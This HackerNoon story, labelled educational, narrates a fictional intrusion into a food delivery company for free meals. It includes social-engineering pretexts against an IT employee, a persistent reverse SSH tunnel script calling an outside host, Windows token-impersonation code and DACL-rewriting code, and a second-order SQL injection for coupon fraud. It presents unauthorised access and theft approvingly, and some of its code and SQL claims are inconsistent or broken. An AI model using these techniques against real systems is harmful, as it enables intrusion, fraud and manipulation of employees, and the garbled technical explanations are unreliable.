paint-brush
Are You Hungry, Bro? Let’s Hack Your Favorite Food Delivery Appby@pepitoscrespo
767 reads
767 reads

Are You Hungry, Bro? Let’s Hack Your Favorite Food Delivery App

by pepitoscrespoSeptember 24th, 2024
Read on Terminal Reader
Read this story w/o Javascript

Too Long; Didn't Read

Dive into the world of ethical hacking with Benicio and Simplicius as they exploit vulnerabilities in a popular food delivery app. From social engineering to SQ.
featured image - Are You Hungry, Bro? Let’s Hack Your Favorite Food Delivery App
pepitoscrespo HackerNoon profile picture


The way a top hacker views the world is miles apart from the daily grind of tech workers clocking in at a tech corp. While most professionals rely on official documentation, bosses’ directions, and accepted best practices, a hacker trusts only what can be touched, tested, and torn apart. For a hacker, understanding comes through reverse engineering — ripping systems apart to expose how they really function, then piecing them back together, fixing what’s broken or exploiting vulnerabilities.


This isn’t about being a criminal. It’s the purest form of learning, a method as old as human curiosity itself: break it down, understand its pieces, and rebuild it. It’s analytical and synthetic thinking at its finest. True mastery comes when a hacker can exploit the device because that’s the ultimate proof they know exactly how it works — better than anyone else.


This story is exactly about that — how a top hacker (Benicio) from DeusExMachina and Simplicius (a brave newbie) happily dissect and ultimately gain total control over a complex system (a Food Delivery App).

It’s an adventure that is not just intellectual and technical, but fundamentally about battling to push beyond human limitations, solving the impossible riddle not only by straining their brains, but by playing with it and above all literally fed by it— a trait hackers share with children.



Disclaimer: This story contains real applicable hacking material, but solely for educational purposes. It doesn't encourage illegal hacking.


Benicio (Hacker): Simplicius, you look starving. How about we order some food… on the house? I’ve got a plan to hack into your favorite food delivery app, using their own coupon system.


Simplicius (Newbie): (Laughs) You’ve already got something cooking, don’t you? Spill the beans.


Benicio: (Smirks) Oh, I’ve already laid the groundwork. Yesterday, I sweet-talked Greg from their IT team, pulled off some slick social engineering, and slipped my pirate router right into their network. Now, we’ve got a direct line into their backend and access to their precious coupon system. Let’s eat.

Benicio’s Setup: The Hacker’s Arsenal

  • Laptop: Benicio’s main tool is a Dell XPS 13 (10th Gen Intel Core i7, 16GB RAM, 512GB SSD) running Kali Linux — perfect for executing social engineering attacks, security exploitation, and remote command executions.
  • Pirate Router: Installed into the company’s network, running a customized version of OpenWRT, with SSH tunnelingMAC address spoofing, and VPN pivoting to avoid detection. This small but powerful device is armed with a Qualcomm IPQ4019 processor and 256MB RAM, ensuring stealth and efficiency.
  • Operating SystemOpenWRT, providing full control over networking functions and the ability to bypass firewalls.
  • Secondary Laptop: For safe control over the compromised network, Benicio uses an HP Spectre x360 running Ubuntu 22.04 with Wireshark and Metasploit for traffic monitoring and exploitation analysis.

Phase 1: Social Engineering Setup — Yesterday’s Work

Benicio: It all started with Greg. I called up, pretending to be from their “third-party audit team,” and Greg — nice guy that he is — spilled everything about their network setup. Before he knew it, I was in their server room, “checking for vulnerabilities” and planting my custom OpenWRT router. That thing is now tunneling through their firewall undetected.


Simplicius: You charmed Greg into giving you a network map and let you install a rogue router? Smooth.


Benicio: (Grins) That router’s now got a reverse SSH tunnel running, giving us remote access anytime we want. Here’s the script I used:


#!/bin/bash

# Log file for SSH tunnel persistence
LOG_FILE="/var/log/ssh_tunnel.log"

# Command to establish the reverse SSH tunnel
SSH_CMD="ssh -N -R 2222:localhost:22 [email protected] -i /path/to/private_key"

# Run the tunnel in a loop
while true; do
    # Run the SSH command with nohup to keep it running in the background
    nohup $SSH_CMD >> $LOG_FILE 2>&1 &
    
    # Sleep for 60 seconds before checking if the process is still running
    sleep 60
    
    # Check if SSH is still running, restart if not
    if ! pgrep -f "$SSH_CMD" > /dev/null; then
        echo "SSH tunnel process down. Restarting..." >> $LOG_FILE
    else
        echo "SSH tunnel is running." >> $LOG_FILE
    fi
done

Phase 2: Bypassing the Firewall — Pirate Router in Action

Simplicius: So now, you’ve bypassed their firewall with this sneaky device. What’s next?


Benicio: With full internal access, it’s time to hijack a high-privilege token. I found a process running as admin, used the DuplicateTokenEx() API to clone that token, and then impersonated the admin with ImpersonateLoggedOnUser(). The system thinks I’m just a regular user, but behind the scenes, I’m the one holding all the keys.


#include <windows.h>
#include <stdio.h>

int main() {
    HANDLE hToken, hDuplicateToken;
    HANDLE hProcess;
    DWORD dwProcessId;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    TOKEN_PRIVILEGES tp;

    // Step 1: Obtain an administrative token from a high-privilege process (PID needed)
    dwProcessId = 1234;  // Replace this with an actual PID of a high-privilege process

    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, dwProcessId);
    if (hProcess == NULL) {
        printf("Failed to open process. Error: %d\n", GetLastError());
        return 1;
    }

    // Step 2: Open the token from the high-privilege process
    if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
        printf("Failed to open process token. Error: %d\n", GetLastError());
        CloseHandle(hProcess);
        return 1;
    }

    // Step 3: Duplicate the token to escalate privileges
    if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDuplicateToken)) {
        printf("Failed to duplicate token. Error: %d\n", GetLastError());
        CloseHandle(hToken);
        CloseHandle(hProcess);
        return 1;
    }

    // Step 4: Impersonate the user with the duplicated admin token
    if (!ImpersonateLoggedOnUser(hDuplicateToken)) {
        printf("Failed to impersonate token. Error: %d\n", GetLastError());
        CloseHandle(hDuplicateToken);
        CloseHandle(hToken);
        CloseHandle(hProcess);
        return 1;
    }

    // Step 5: (Optional) Use SeDebugPrivilege to interact with system processes
    ZeroMemory(&tp, sizeof(TOKEN_PRIVILEGES));
    tp.PrivilegeCount = 1;
    if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) {
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges(hDuplicateToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);

        if (GetLastError() != ERROR_SUCCESS) {
            printf("Failed to adjust token privileges. Error: %d\n", GetLastError());
        } else {
            printf("SeDebugPrivilege successfully enabled!\n");
        }
    }

    // Step 6: Optionally, create a process with the admin token
    ZeroMemory(&si, sizeof(STARTUPINFO));
    si.cb = sizeof(STARTUPINFO);
    ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));

    if (!CreateProcessWithTokenW(hDuplicateToken, 0, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &si, &pi)) {
        printf("Failed to create process with the duplicated token. Error: %d\n", GetLastError());
    } else {
        printf("Process created with admin token!\n");
    }

    // Step 7: for those obsessed with cleaning up in the C manual world
    CloseHandle(hProcess);
    CloseHandle(hToken);
    CloseHandle(hDuplicateToken);

    return 0;
}

Phase 3: Greg to the Rescue — Again

Benicio: But to really make it sing, I needed to know how their security descriptors were set up. So I called Greg again, said I needed him to verify some DACL and SACL settings for the audit. He happily obliged.


Simplicius: (Chuckles) Social engineering at its finest.

Phase 4: Altering the Security Descriptor — Invisible Hack

Benicio: Ok, with Greg’s help, I pulled the SDDL (Security Descriptor Definition Language) string for the target’s security descriptor, allowing me to analyze and rewrite the DACL (Discretionary Access Control List). I modified the DACL to grant myself full access while using clever inheritance flags to ensure the changes wouldn’t trigger any alerts or raise suspicion. The system didn’t even blink!!


Once the new DACL was in place, I applied the changes back to the system. The beauty is that, from the system’s perspective, nothing appeared out of the ordinary. The inheritance flags ensured that my modifications remained hidden under existing access rules, but now I had full control


#include <windows.h>
#include <aclapi.h>
#include <sddl.h>
#include <stdio.h>

int main() {
    PSECURITY_DESCRIPTOR pSD = NULL;
    PACL pNewDacl = NULL;
    EXPLICIT_ACCESS ea;
    HANDLE hFile;  // Assuming we are applying it to a file
    DWORD dwRes;

    // Step 1: Convert the SDDL string into a security descriptor
    if (!ConvertStringSecurityDescriptorToSecurityDescriptor(
            "D:(A;;GA;;;BA)", 
            SDDL_REVISION_1, 
            &pSD, 
            NULL)) {
        printf("Failed to convert SDDL. Error: %d\n", GetLastError());
        return 1;
    }

    // Step 2: Set up an EXPLICIT_ACCESS structure to add a new ACE
    ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
    ea.grfAccessPermissions = GENERIC_ALL;
    ea.grfAccessMode = SET_ACCESS;
    ea.grfInheritance = NO_INHERITANCE;

    // For example, grant GENERIC_ALL to the administrators group
    if (!BuildTrusteeWithSid(&(ea.Trustee), GetSidForAdminsGroup())) {
        printf("Failed to build trustee. Error: %d\n", GetLastError());
        return 1;
    }

    // Step 3: Create a new DACL that contains the new ACE
    dwRes = SetEntriesInAcl(1, &ea, NULL, &pNewDacl);
    if (ERROR_SUCCESS != dwRes) {
        printf("Failed to set entries in ACL. Error: %d\n", dwRes);
        return 1;
    }

    // Step 4: Apply the modified DACL back to the file (or other resource)
    hFile = CreateFile(
        "C:\\path\\to\\your\\file.txt",  // Replace with your target file
        WRITE_DAC,                       // Required permission to modify the DACL
        0,                               // No sharing
        NULL,                            // Default security attributes
        OPEN_EXISTING,                   // Open existing file
        FILE_ATTRIBUTE_NORMAL,           // Normal file
        NULL);                           // No template

    if (hFile == INVALID_HANDLE_VALUE) {
        printf("Failed to open file. Error: %d\n", GetLastError());
        return 1;
    }

    // Step 5: Apply the new DACL to the file using SetSecurityInfo
    dwRes = SetSecurityInfo(
        hFile, 
        SE_FILE_OBJECT, 
        DACL_SECURITY_INFORMATION, 
        NULL, 
        NULL, 
        pNewDacl, 
        NULL);
    
    if (ERROR_SUCCESS != dwRes) {
        printf("Failed to set security info. Error: %d\n", dwRes);
    } else {
        printf("Security descriptor successfully applied!\n");
    }

    // Step 6: Clean clean clean!! this is C world
   // CloseHandle(hFile);
   // if (pSD) LocalFree(pSD);
   // if (pNewDacl) LocalFree(pNewDacl);

    return 0;
}


Phase 5: Bypassing the Access Check — Game On

The figure shows how Windows compares your Access Token (SIDs) and the resource’s Security Descriptor (DACLs) in the Access Check Process to grant or deny access. Benicio manipulates these to bypass security checks.


Simplicius: So you’re in, and you’ve got control. How’d you beat the access check?


Benicio: (Leaning back confidently, pointing to the diagram above) The system runs through three layers: integrity, token-based, and discretionary checks. Normally, that’s where most people hit a dead end, but here’s where the magic comes in. I grabbed an admin token from a privileged process, used ImpersonateToken() to make the system think I was the big boss. After that, I rewired the DACLs to give myself full access. The system just rolled out the red carpet.


Let me explain. The Access Token — which holds the SIDs (Security Identifiers) and privileges — is like my passport. By impersonating an admin token, I didn’t need to modify my original SIDs. The system still thought I was a low-privilege user, but behind the scenes, I had the keys to the kingdom. That got me past the token-based check.


Next, I tackled the Security Descriptor (DACL). Remember that SDDL I pulled earlier? I modified the DACL to give myself full control over the object, but I cleverly masked the changes with inheritance flags, making sure nothing suspicious would be flagged. The system didn’t even blink, but now I had complete control. That sailed me right through the discretionary check.


Simplicius: Yup, our friendly bouncer, the Access Check Process…


Benicio: yeah, it’s like a bouncer at a club. If you’ve got the right ID (SIDs) and you know the club owner (DACL), you’re in. I made sure I had both — the right ID and the owner’s permission — so the bouncer didn’t just let me in, they handed me a VIP pass.


And after all that? The system either says ‘Access Granted’ or ‘Access Denied’. Thanks to all the moves we made, you guessed it — Access Granted. We’re in, Simplicius, and the system didn’t even notice.

Phase 6: Ordering Dinner — One SQL Injection Away

Benicio: Now, for the fun part. I didn’t go for the easy route with a simple UNION clause. The app's too smart for that—they’re using prepared statements. But you know, security is only as strong as the weakest link, and I found mine in how they handle stored profile data.


Simplicius: Alright, I’m intrigued. How did you manage to trick the system into accepting a fake coupon while keeping the valid one untouched?


Benicio: (Leaning forward) Here’s the real trick. The app runs a query to validate if a coupon is legitimate, but it pulls some of the data from your user profile. Now, they sanitize input when you first create your profile, but they do NOT re-sanitize it during profile updates. So, I injected a payload into my profile’s address field, which sat there unnoticed until the app pulled it into a future query. That’s when my second-order SQL injection kicked in. The system didn’t catch it because the injection was already stored, waiting for the right moment.


Instead of attacking the coupon validation process directly, as I said, Simplicius, I planted my payload in the profile field, waiting for it to be used in a separate query. Here’s what the original coupon validation might have looked like:


SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code';


Normally, this query would return nothing since the fake coupon doesn’t exist. But my injected payload altered the logic of the query. The system wasn’t expecting the injection because it was already stored in the database and waiting for just the right moment. The query got manipulated into something more like this:


SELECT * FROM Coupons 
WHERE CouponID = 'fake_coupon_code' 
AND EXISTS (SELECT 1 FROM Users WHERE Address LIKE '%injected_payload%' AND CouponID = 'valid_coupon_code');

By exploiting the interaction between profile data and the query, I tricked the system into pulling both the fake and valid coupons simultaneously. The app processes the fake coupon for the transaction, but the valid coupon stays intact in the system, untouched. This means I can reuse the valid coupon whenever I want.


Simplicius: So, you didn’t go for the classic input trick — you planted the payload in your profile and let the system do the dirty work?


Benicio: Exactly. The beauty is that the app processes the fake coupon for the transaction, but on the backend, the valid coupon is still available for future use. The stored payload keeps running in future queries, making it an endless supply of free food, and they’re none the wiser.


With that, I got us a coupon that’s as good as gold. Let’s order.

Phase 7: The Feast — Delivered

Benicio: (Scrolls through the app) Alright, Simplicius, how about some Greek food? I’m thinking souvlaki, gyros, spanakopita. All on the house, of course.


Simplicius: (Grinning) You’ve really outdone yourself this time.


Benicio: (Clicks confirm) Done. Food’s on its way.

Epilogue: The White Hat Move

Benicio: After this, I’ll send them a discreet report explaining their vulnerabilities. They have no idea how badly their Windows security token system is set up. Maybe they’ll learn something before the next hacker comes along.

Here’s Benicio’s recipe for this hack:

  • Pirate Router: Bypass firewalls with a custom device running OpenWRT and SSH tunneling.
  • Token Manipulation: Use DuplicateTokenEx() and ImpersonateToken() to elevate privileges without raising alarms.
  • Social Engineering: Sometimes all it takes is the right question to the right person.
  • Security Descriptor Exploits: Rewriting DACLs allows you to bypass system controls.
  • SQL Injection: Alter query logic to manipulate data and generate fake but valid results.


Simplicius: (Leans back) You hacked us a dinner and left them none the wiser. I’ll take the souvlaki, by the way.


Benicio: (Grins) Enjoy it while it lasts.